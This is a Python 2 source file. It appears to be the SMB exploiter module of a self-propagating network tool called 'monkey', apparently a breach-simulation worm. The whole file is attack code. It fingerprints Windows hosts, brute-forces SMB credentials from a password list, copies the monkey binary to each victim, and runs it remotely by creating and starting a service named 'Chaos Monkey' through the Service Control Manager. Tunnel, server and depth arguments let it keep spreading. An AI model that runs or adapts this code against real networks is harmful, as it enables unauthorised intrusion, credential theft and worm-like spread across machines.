import sys
from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc import dcerpc
    from impacket.dcerpc.v5 import transport, scmr
    from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
    from impacket.smb import SessionError as SessionError2
    from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
    print str(exc)
    print 'Install the following library to make this script work'
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
    sys.exit(1)


LOG = getLogger(__name__)


class SmbExploiter(HostExploiter):
    _target_os_type = ['windows']

    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
        }
    USE_KERBEROS = False

    def __init__(self):
        self._config = __import__('config').WormConfiguration

    def is_os_supported(self, host):
        if host.os.get('type') in self._target_os_type:
            return True

        if not host.os.get('type'):
            is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
            if is_smb_open:
                smb_finger = SMBFinger()
                smb_finger.get_host_fingerprint(host)
            else:
                is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
                if is_nb_open:
                    host.os['type'] = 'windows'
            return host.os.get('type') in self._target_os_type
        return False        

    def exploit_host(self, host, depth=-1, src_path=None):
        assert isinstance(host, VictimHost)

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False        

        passwords = list(self._config.psexec_passwords[:])
        known_password = host.get_credentials(self._config.psexec_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        exploited = False
        for password in passwords:
            try:
                # copy the file remotely using SMB
                remote_full_path = SmbTools.copy_file(host,
                                              self._config.psexec_user,
                                              password,
                                              src_path,
                                              self._config.dropper_target_path)

                if remote_full_path is not None:
                    LOG.debug("Successfully logged in %r using SMB (%s : %s)",
                              host, self._config.psexec_user, password)
                    host.learn_credentials(self._config.psexec_user, password)
                    exploited = True
                    break

            except Exception, exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", host,
                          self._config.psexec_user, password, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SmbExec is giving up...")
            return False

        # execute the remote dropper in case the path isn't final
        if remote_full_path.lower() != self._config.dropper_target_path.lower():
            cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
        else:
            cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}

        if host.default_tunnel:
            cmdline += " -t " + host.default_tunnel
        if host.default_server:
            cmdline += " -s " + host.default_server
        if depth > 0:
            cmdline += " -d %d" % (depth - 1)

        for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
            rpctransport.set_dport(port)

            if hasattr(rpctransport,'preferred_dialect'):
               rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
                                             "", "", None)
            rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)

            scmr_rpc = rpctransport.get_dce_rpc()

            try:
                scmr_rpc.connect()
            except Exception, exc:
                LOG.warn("Error connecting to SCM on exploited machine %r: %s",
                         host, exc)
                return False

            smb_conn = rpctransport.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        smb_conn.setTimeout(100000)
        scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(scmr_rpc)
        sc_handle = resp['lpScHandle']

        # start the monkey using the SCM
        resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey",
                                     lpBinaryPathName=cmdline)
        service = resp['lpServiceHandle']

        try:
           scmr.hRStartServiceW(scmr_rpc, service)
        except:
            pass
        scmr.hRDeleteService(scmr_rpc, service)
        scmr.hRCloseServiceHandle(scmr_rpc, service)

        LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                 remote_full_path, host, cmdline)

        return True